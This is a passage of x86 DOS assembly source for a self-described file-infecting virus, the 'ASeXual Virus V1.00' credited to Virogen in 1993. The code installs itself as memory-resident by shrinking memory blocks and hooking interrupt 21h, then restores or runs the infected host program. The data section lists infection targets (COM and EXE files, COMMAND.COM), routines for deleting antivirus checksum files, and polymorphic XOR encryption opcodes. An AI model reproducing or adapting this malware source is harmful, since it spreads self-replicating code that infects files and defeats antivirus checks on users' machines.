;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
	    mov	    ah,signal		    ; is virus already in mem?
	    int	    21h
	    cmp	    ah,reply
	    je	    no_install		    ; yes.. don't install again
	    cont_i:

	    mov	    ax,cs		    ; PSP segment
	    dec	    ax			    ; mcb=psp-1
	    mov	    ds,ax		    ; DS=MCB
	    cmp	    byte ptr ds: [0],'Z'    ;Is this the last MCB in chain?
	    jne	    no_install

            sub     word ptr ds: [3],(((vend-start+1023+heap_size)*2)/1024)*64 ; shrink block
	    sub	    word ptr ds: [12h],(((vend-start+1023+heap_size)*2)/1024)*64
	    mov	    es,word ptr ds: [12h]   ; get high mem seg

	    mov	    si,bp
	    add	    si,0100h
	    mov	    cx,(offset vend - offset start)/2+1
	    push    cs
	    pop	    ds
	    mov	    di,100h		    ; New location in high memory
	    rep	    movsw		    ; Copy virus to high memory

	    xor	    ax,ax
	    mov	    ds,ax		    ; null es
	    push    ds
	    lds	    ax,ds: [21h*4]	    ; get old int 21h seg:off
	    mov	    es: old21_seg,ds	    ; save 'em
	    mov	    es: old21_ofs,ax
	    pop	    ds


	    mov	    ds: [21h*4+2],es	    ; new int 21h seg
	    mov	    ds: [21h*4],offset new21 ; new offset

            sub     byte ptr ds: [413h],((offset vend-offset start+1023+heap_size)*2)/1024

	    no_install:
	    push    cs			    ; Restore segment regs
	    pop	    ds
	    push    cs
	    pop	    es

	    cmp	    byte ptr vtype[bp],parastic ; parastic infection?
	    je	    com_return		    ; yes, return to start of COM

	    mov	    bx,(offset vend+100)    ; Calculate memory needed
	    mov	    cl,4		    ; divide by 16
	    shr	    bx,cl
	    inc	    bx
	    mov	    ah,4ah
	    int	    21h			    ; Release un-needed memory

	    lea	    dx,file_dir-1[bp]	    ; Execute the original EXE
	    lea	    bx,par_blk[bp]
	    mov	    ch,0fbh		    ; tell mem. resident virus
	    mov	    ax,4b00h		    ; that it's us.
	    int	    21h

	    mov	    ah,4dh		    ; get return code
	    int	    21h

	    mov	    ah,4ch		    ; Exit
	    int	    21h

	    com_return:

	    mov	    si,bp		    ;
	    mov	    cx,7		    ; Restore original first
	    add	    si,offset org_bytes	    ; seven bytes of COM file
	    mov	    di,0100h		    ;
	    rep	    movsb		    ;

	    mov	    ax,0100h		    ; Jump back to 100h - start of
	    push    ax			    ; original program
	    ret	    			    ;

non_res	    endp

vtype	    db	    spawn		    ; Infection type
com_name    db	    'COMMAND.COM'	    ; obvious
org_bytes   db	    7 dup(0)		    ; original first seven bytes of parastic inf.
pad_bytes   dw	    0			    ; Increase in virus size
inc_op	    db	    47h			    ; INC DI (47h) or INC SI (46h)
nop_sub	    db	    40h			    ; fill byte
copyr	    db	    ' (c)1993 - Virogen '   ; my name
v_id	    db	    ' ASeXual Virus V1.00 '
spec	    db	    'CHKLIST.*',0	    ; MS/CPAV Checksom kill
spec2	    db	    'ANTI-VIR.*',0	    ; TBAV Checksum kill
fname1	    db	    '*.EXE',0		    ; Filespec
fname2	    db	    '*.COM',0		    ; Filespec
change_num  dw	    1030		    ; keep track of position of INC DI|SI
addr_pos    dw	    0			    ; relative location of MOV DI|SI
cx_pos	    dw	    17			    ; relative location of MOV CX
xor_pos	    dw	    10			    ; relative location of XOR
loop_pos    dw	    0			    ; relative location of LOOP
xor_op	    db	    81h,35h		    ; XOR word ptr CS:[DI|SI],XXXX
di_op	    db	    0bfh		    ; MOV DI|SI,
mov_di	    dw	    0			    ;  XXXX
cx_op	    db	    0b9h		    ; MOV CX
b_wr	    dw	    (offset vend-offset enc_data)+2 ; don't divide this by two
new_code    db	    0b9h		    ; MOV NN,
	    dw	    0000		    ;  XXXX
push_reg    db	    51h			    ; PUSH NN
	    db	    0c3h		    ; RET - jump to NN
times_inc   db	    0			    ; # of times encryption call incremented
sl	    db	    '\'			    ; Backslash for directory name
file_dir    db	    64 dup(0)		    ; directory of file we infected
file_name   db	    13 dup(0)		    ; filename of file we infected
par_blk	    dw	    0			    ; command line count byte   -psp
par_cmd	    dw	    0080h		    ; Point to the command line -psp
par_seg	    dw	    0			    ; seg
	    dw	    05ch		    ; Use default FCB's in psp to save space
par1	    dw	    0			    ;        
	    dw	    06ch		    ; FCB #2
par2	    dw	    0			    ;

vend:	    	    			    ; End of virus

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; heap - not written to disk
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
fname_off   dw	    fname1		    ; Offset of Filespec to use
old_dta     dd      0                       ; Old DTA Segment:Address
inf_count   db	    0			    ; How many files we have infected this run
fcb	    db	    21 dup(0)		    ; fcb
	    attrib  db 0		    ; file attribute
	    f_time  dw 0		    ; file time
	    f_date  dw 0		    ; file date
	    f_sizeh dw 0		    ; file size
	    f_sizel dw 0		    ;
	    f_name  db 13 dup(0)	    ; file name
heap_end:

cseg	    ends
	    end	    start
